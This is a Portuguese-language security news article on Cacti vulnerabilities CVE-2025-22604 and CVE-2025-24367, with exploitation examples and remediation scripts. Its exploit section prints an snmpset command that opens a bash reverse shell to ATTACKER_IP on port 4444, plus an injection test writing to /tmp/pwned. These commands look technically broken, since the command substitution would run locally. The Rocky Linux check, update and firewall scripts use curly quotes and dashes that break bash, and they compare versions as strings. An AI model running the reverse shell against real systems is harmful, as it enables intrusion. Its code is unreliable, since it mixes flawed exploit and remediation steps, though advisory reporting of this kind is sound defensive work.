Vulnerabilidade crítica no Cacti (CVE-2025-22604) permite execução remota de código
Uma vulnerabilidade crítica foi descoberta no Cacti, um framework de código aberto para monitoramento de rede e gerenciamento de falhas, que pode permitir que um atacante autenticado execute código remotamente em instâncias vulneráveis. A falha, registrada como CVE-2025-22604, possui uma pontuação CVSS de 9.1 (em uma escala de 0 a 10), indicando um alto nível de gravidade.
Detalhes da vulnerabilidade
De acordo com os mantenedores do projeto, a vulnerabilidade reside no parser de resultados SNMP de múltiplas linhas. Usuários autenticados podem injetar OIDs malformados na resposta SNMP. Quando processados pelas funções ss_net_snmp_disk_io()
ou ss_net_snmp_disk_bytes()
, parte do OID é usada como chave em um array que, por sua vez, é utilizado como parte de um comando do sistema. Isso resulta em uma vulnerabilidade de execução de comandos.
A exploração bem-sucedida dessa falha pode permitir que um usuário autenticado com permissões de gerenciamento de dispositivos execute código arbitrário no servidor, possibilitando a exfiltração, edição ou exclusão de dados sensíveis.
Versões afetadas
A vulnerabilidade CVE-2025-22604 afeta todas as versões do Cacti anteriores e incluindo a 1.2.28. A correção foi implementada na versão 1.2.29, lançada recentemente. O pesquisador de segurança conhecido pelo pseudônimo u32i foi creditado pela descoberta e reporte da falha.
Outra vulnerabilidade corrigida
Além do CVE-2025-22604, a versão 1.2.29 também corrige outra vulnerabilidade crítica, registrada como CVE-2025-24367 (CVSS 7.2). Essa falha permite que um atacante autenticado crie scripts PHP arbitrários no diretório raiz da aplicação, abusando da funcionalidade de criação de gráficos e templates de gráficos. Isso pode levar à execução remota de código.
Exemplo de exploração
Abaixo, alguns exemplos de como um invasor pode explorar a vulnerabilidade para executar comandos arbitrários:
1. Explorando a injeção de OID malformado
snmpset -v2c -c public TARGET_HOST \
1.3.6.1.4.1.2025.1.1.1.1.1 s "$(id > /tmp/pwned)"
Esse comando tenta injetar um OID malformado que executa id > /tmp/pwned
no servidor vulnerável, criando um arquivo contendo as informações do usuário que executou o comando.
2. Criando um Shell remoto
Se o servidor for vulnerável, é possível executar um shell reverso para ganhar acesso remoto:
snmpset -v2c -c public TARGET_HOST \
1.3.6.1.4.1.2025.1.1.1.1.1 s "$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)"
Este comando faz com que o servidor estabeleça uma conexão reversa para a máquina do atacante na porta 4444, permitindo execução remota de comandos.
Recomendações de segurança
Considerando que vulnerabilidades no Cacti já foram exploradas ativamente no passado, organizações que dependem do software para monitoramento de rede devem priorizar a aplicação dos patches necessários para mitigar os riscos de comprometimento.
Para mitigar essa vulnerabilidade, é altamente recomendável:
-
Atualizar o Cacti para a versão 1.2.29 imediatamente.
-
Restringir o acesso SNMP apenas a fontes confiáveis.
-
Monitorar logs para identificar tentativas de exploração.
-
Aplicar regras de firewall para bloquear acessos indevidos.
A seguir, apresentamos exemplos de scripts que podem ser utilizados para verificar e corrigir a vulnerabilidade em sistemas operacionais que possuem o Rocky Linux 9, onde o Cacti pode estar em execução.
Exemplo 1: verificação da versão do Cacti
O script abaixo verifica a versão do Cacti instalada no sistema:
#!/bin/bash
# Verifica a versão do Cacti instalada
CACTI_VERSION=$(rpm -q cacti –queryformat ‘%{VERSION}’)
if [[ -z “$CACTI_VERSION” ]]; then
echo “Cacti não está instalado no sistema.”
exit 1
fi
echo “Versão do Cacti instalada: $CACTI_VERSION”
# Verifica se a versão é vulnerável
if [[ “$CACTI_VERSION” < “1.2.29” ]]; then
echo “ATENÇÃO: A versão do Cacti é vulnerável ao CVE-2025-22604.”
echo “Recomenda-se atualizar para a versão 1.2.29 ou superior.”
else
echo “A versão do Cacti está atualizada e não é vulnerável.”
fi
Exemplo 2: atualização do Cacti para a versão corrigida
O script abaixo atualiza o Cacti para a versão mais recente (1.2.29 ou superior) em sistemas Rocky Linux 9:
#!/bin/bash
# Atualiza o sistema e instala a versão mais recente do Cacti
echo “Atualizando o sistema e instalando a versão mais recente do Cacti…”
sudo dnf update -y
sudo dnf install cacti -y
# Reinicia o serviço do Cacti
echo “Reiniciando o serviço do Cacti…”
sudo systemctl restart httpd
sudo systemctl restart cacti
# Verifica a versão instalada após a atualização
CACTI_VERSION=$(rpm -q cacti –queryformat ‘%{VERSION}’)
echo “Cacti atualizado para a versão: $CACTI_VERSION”
Exemplo 3: mitigação temporária (Restrição de Acesso)
Se a atualização imediata não for possível, uma mitigação temporária pode ser aplicada restringindo o acesso ao Cacti apenas a IPs confiáveis. O script abaixo configura o firewalld para permitir acesso apenas a um IP específico:
#!/bin/bash
# Define o IP confiável
TRUSTED_IP=”192.168.1.100″
# Configura o firewalld para permitir acesso apenas ao IP confiável
echo “Configurando o firewalld para restringir o acesso ao Cacti…”
sudo firewall-cmd –permanent –remove-service=http
sudo firewall-cmd –permanent –remove-service=https
sudo firewall-cmd –permanent –add-rich-rule=”rule family=’ipv4′ source address=’$TRUSTED_IP’ service name=’http’ accept”
sudo firewall-cmd –permanent –add-rich-rule=”rule family=’ipv4′ source address=’$TRUSTED_IP’ service name=’https’ accept”
sudo firewall-cmd –reload
echo “Acesso ao Cacti restrito ao IP: $TRUSTED_IP”
Conclusão
A vulnerabilidade CVE-2025-22604 no Cacti representa um risco significativo para organizações que utilizam o software para monitoramento de rede. A aplicação imediata dos patches e a adoção de medidas de mitigação são essenciais para proteger os sistemas contra possíveis explorações. Utilize os scripts fornecidos para verificar, atualizar e mitigar a vulnerabilidade em seu ambiente.
Mantenha-se sempre atualizado com as últimas correções de segurança e boas práticas para garantir a proteção de sua infraestrutura de rede.
Fonte e imagens: https://thehackernews.com/2025/01/critical-cacti-security-flaw-cve-2025.html